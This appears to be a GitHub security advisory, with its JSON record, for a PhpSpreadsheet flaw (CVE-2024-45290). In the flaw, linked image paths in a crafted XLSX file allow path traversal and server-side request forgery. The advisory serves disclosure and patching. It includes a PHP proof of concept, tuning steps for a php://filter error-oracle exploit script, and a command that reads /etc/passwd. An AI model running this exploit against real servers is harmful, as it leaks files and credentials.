ghsa-5gpr-w2p5-6m37
Vulnerability from github
Published
2024-10-07 15:57
Modified
2024-10-07 22:29
Severity ?
7.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Summary
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
Details

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:

php if (isset($images[$embedImageKey])) { // ...omit irrelevant code... } else { $linkImageKey = (string) self::getArrayItem( $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'), 'link' ); if (isset($images[$linkImageKey])) { $url = str_replace('xl/drawings/', '', $images[$linkImageKey]); $objDrawing->setPath($url); } }

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

php public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filter_var($path, FILTER_VALIDATE_URL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = file_get_contents($path); // ... check dimensions etc. ...

It's important to note here, that filter_var considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

xml <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

PoC

Target file:

```php <?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to // keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx"; $payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file); $zip = new ZipArchive; $zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels"; $content = $zip->getFromName($path); $content = str_replace("../media/image1.gif", $payload, $content); $zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml"; $content = $zip->getFromName($path); $content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content); $zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx"); $spreadsheet = $reader->load(DIR . '/' . $file);

```

Add this file in the same directory: book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with: python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45290"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-07T15:57:38Z",
    "nvd_published_at": "2024-10-07T21:15:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIt\u0027s possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL.\n\nNote that this vulnerability is different from [GHSA-w9xv-qf98-ccq4](https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4), and resides in a different component.\n\n### Details\n\nWhen an XLSX file is opened, the XLSX reader calls `setPath()` with the path provided in the `xl/drawings/_rels/drawing1.xml.rels` file in the XLSX archive:\n\n```php\nif (isset($images[$embedImageKey])) {\n    // ...omit irrelevant code...\n} else {\n    $linkImageKey = (string) self::getArrayItem(\n        $blip-\u003eattributes(\u0027http://schemas.openxmlformats.org/officeDocument/2006/relationships\u0027),\n        \u0027link\u0027\n    );\n    if (isset($images[$linkImageKey])) {\n        $url = str_replace(\u0027xl/drawings/\u0027, \u0027\u0027, $images[$linkImageKey]);\n        $objDrawing-\u003esetPath($url);\n    }\n}\n```\n\n`setPath()` then reads the file in order to determine the file type and dimensions, if the path is a URL:\n\n```php\npublic function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static\n{\n    if ($verifyFile \u0026\u0026 preg_match(\u0027~^data:image/[a-z]+;base64,~\u0027, $path) !== 1) {\n        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979\n        if (filter_var($path, FILTER_VALIDATE_URL)) {\n            $this-\u003epath = $path;\n            // Implicit that it is a URL, rather store info than running check above on value in other places.\n            $this-\u003eisUrl = true;\n            $imageContents = file_get_contents($path);\n            // ... check dimensions etc. ...\n```\n\nIt\u0027s important to note here, that `filter_var` considers also `file://` and `php://` URLs valid.\n\nThe attacker can set the path to anything:\n\n```xml\n\u003cRelationship Id=\"rId1\"\n    Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/image\"\n    Target=\"this can be whatever\" /\u003e\n```\n\nThe contents of the file are not made available for the attacker directly. However, using PHP filter URLs it\u0027s possible to construct an [error oracle](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle) which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit\n\n### PoC\n\nTarget file:\n\n```php\n\u003c?php\n\nrequire \u0027vendor/autoload.php\u0027;\n\n// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to\n// keep the PoC simple, I\u0027ve combined this into the same file.\n\n$file = \"book_tampered.xlsx\";\n$payload = $_POST[\"payload\"]; // the payload comes from the Python script\n\ncopy(\"book.xlsx\",$file);\n$zip = new ZipArchive;\n$zip-\u003eopen($file);\n\n$path = \"xl/drawings/_rels/drawing1.xml.rels\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\"../media/image1.gif\", $payload, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$path = \"xl/drawings/drawing1.xml\";\n$content = $zip-\u003egetFromName($path);\n$content = str_replace(\u0027r:embed=\"rId1\"\u0027, \u0027r:link=\"rId1\"\u0027, $content);\n$zip-\u003eaddFromString($path, $content);\n\n$zip-\u003eclose();\n\n// The actual target - note that simply opening the file is sufficient for the attack\n\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader(\"Xlsx\");\n$spreadsheet = $reader-\u003eload(__DIR__ . \u0027/\u0027 . $file);\n\n```\n\nAdd this file in the same directory:\n[book.xlsx](https://github.com/PHPOffice/PhpSpreadsheet/files/15213296/book.xlsx)\n\nServe the PoC from a web server. Ensure your PHP memory limit is \u003c= 128M - otherwise you\u0027ll need to edit the Python script below.\n\nDownload the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you\u0027ll need to edit the Python script\u0027s `bruteforcer.py` file to change `self.blow_up_inf = self.join(*[self.blow_up_utf32]*15)` to `self.blow_up_inf = self.join(*[self.blow_up_utf32]*20)`. This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script\u0027s dependencies with `pip`.\n\nThen run the Python script with:\n```\npython3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd\n```\n\nNote that the attack relies on certain character encodings being supported by the system\u0027s `iconv` library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you\u0027re developing on a Mac, you\u0027ll want to run your server in a virtual machine with Linux.\n\nHere\u0027s the results I got after about a minute of bruteforcing:\n\n![image](https://github.com/PHPOffice/PhpSpreadsheet/assets/1294941/06cbaf62-1001-481f-bbcd-d818a61896c4)\n\n### Impact\n\nAn attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.",
  "id": "GHSA-5gpr-w2p5-6m37",
  "modified": "2024-10-07T22:29:33Z",
  "published": "2024-10-07T15:57:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-5gpr-w2p5-6m37"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-w9xv-qf98-ccq4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45290"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/a9693d1182df6695c14bc5d74315ac71a3398e5a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/d95bc290beb137d4118095b96f62ec47e0205cec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/e04ed222b36fd5fd6fed0c10c765c2b68effb465"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file"
}


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